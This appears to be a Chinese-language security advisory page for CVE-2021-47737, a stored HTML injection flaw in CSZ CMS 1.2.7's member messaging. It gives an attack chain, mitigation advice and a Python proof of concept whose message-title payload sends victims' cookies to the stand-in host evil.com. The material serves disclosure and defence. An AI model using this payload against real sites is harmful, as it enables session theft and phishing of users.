IPBUF安全漏洞报告
English
CVE-2021-47737 CVSS 5.4 中危

CVE-2021-47737 CSZ CMS会员消息系统HTML注入漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47737
漏洞类型
HTML注入
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
CSZ CMS 1.2.7

相关标签

HTML注入存储型XSSCSZ CMS会员消息系统钓鱼攻击社会工程CVE-2021-47737内容注入Web应用安全CMS漏洞

漏洞概述

CVE-2021-47737是CSZ CMS 1.2.7版本中存在的一个HTML注入漏洞。该漏洞源于会员消息系统对用户输入的消息标题缺乏充分的输入验证和输出编码,允许经过身份认证的用户在消息标题字段中注入任意HTML代码。攻击者可以利用此漏洞在消息标题中嵌入恶意超链接,当其他用户查看这些消息时,恶意链接可能被诱导点击,从而实施钓鱼攻击或社会工程攻击。虽然该漏洞的CVSS评分为5.4(中等严重程度),但由于其位于消息通知系统,可能影响大量用户之间的信任通信,造成的实际危害可能被低估。漏洞需要攻击者具有CSZ CMS的有效用户账号(低权限即可),并通过构造特定的POST请求触发。

技术细节

该漏洞存在于CSZ CMS的member messaging system(会员消息系统)模块中。具体来说,系统在处理用户提交的消息标题(message title)时,直接将用户输入的内容存储到数据库,并在后续显示时未进行HTML实体编码或输入过滤。攻击者可以通过以下方式利用:1. 登录CSZ CMS并进入会员消息功能模块;2. 构造包含HTML标签(如<a>、<img>、<script>等)的消息标题;3. 使用style属性或javascript:伪协议构造恶意链接;4. 发送POST请求到消息创建端点(如/member/message或类似路由);5. 当其他用户查看消息列表或详情页面时,恶意HTML代码会被浏览器解析执行。由于系统未对输出内容进行XSS过滤,攻击者可以窃取会话Cookie、进行钓鱼欺骗或诱导用户访问恶意网站。该漏洞属于存储型HTML注入,恶意内容会被持久化存储在数据库中,影响所有后续查看该消息的用户。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用CSZ CMS,并确定消息系统端点路径
STEP 2
账户获取
攻击者注册CSZ CMS账户或利用已有低权限账户登录系统
STEP 3
构造恶意载荷
攻击者构造包含HTML标签和JavaScript伪协议的恶意消息标题,如使用<a>标签配合javascript:协议或style属性隐藏真实链接
STEP 4
发送恶意消息
通过POST请求将恶意载荷发送到会员消息系统的消息创建接口,载荷被存储到数据库
STEP 5
触发执行
当其他用户(受害者)登录系统查看消息列表或消息详情时,恶意HTML代码被浏览器解析渲染
STEP 6
达成攻击目标
受害者被诱导点击伪装成可信链接的恶意链接,可能导致敏感信息泄露(Cookie、凭据)、钓鱼欺骗或进一步恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2021-47737 PoC - CSZ CMS HTML Injection # Target: CSZ CMS 1.2.7 member messaging system TARGET_URL = "http://target.com/cszcms" LOGIN_URL = f"{TARGET_URL}/member/login" MESSAGE_URL = f"{TARGET_URL}/member/message/send" def login(session, username, password): """Authenticate to CSZ CMS""" login_data = { 'username': username, 'password': password } response = session.post(LOGIN_URL, data=login_data) return 'login' not in response.url.lower() def exploit_html_injection(session, victim_username): """ Inject malicious HTML into message title The injected content will be stored and displayed to other users """ # Malicious payload - phishing link disguised as legitimate malicious_title = '''<a href="http://evil.com/phishing?steal=" style="text-decoration:none;color:#000;background:url(https://legit-site.com/logo.png)" onclick="document.location='http://evil.com/steal?c='+document.cookie"> Click here for special offer!</a>''' message_data = { 'to_username': victim_username, 'subject': malicious_title, # HTML injection point 'message': 'Please check this important message.', 'submit': 'Send' } response = session.post(MESSAGE_URL, data=message_data) if response.status_code == 200: print("[+] Malicious message sent successfully!") print("[+] When victim views the message, HTML will be rendered") print("[+] This can be used for phishing or session hijacking") return True return False def main(): session = requests.Session() # Step 1: Login with low-privilege account if not login(session, 'attacker', 'password123'): print("[-] Login failed") return print("[+] Login successful") # Step 2: Exploit HTML injection via message title exploit_html_injection(session, 'victim') if __name__ == "__main__": main()

影响范围

CSZ CMS 1.2.7

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 在消息显示模板中对所有用户输入内容强制进行HTML实体编码,将<、>、"、'等特殊字符转换为HTML实体;2) 配置Web应用防火墙(WAF)规则,拦截消息标题中包含的HTML标签和javascript:协议;3) 禁用消息系统的HTML渲染功能,仅允许纯文本显示;4) 限制低权限用户的消息发送功能或添加人工审核机制;5) 监控异常的消息发送行为,及时发现和阻止攻击活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表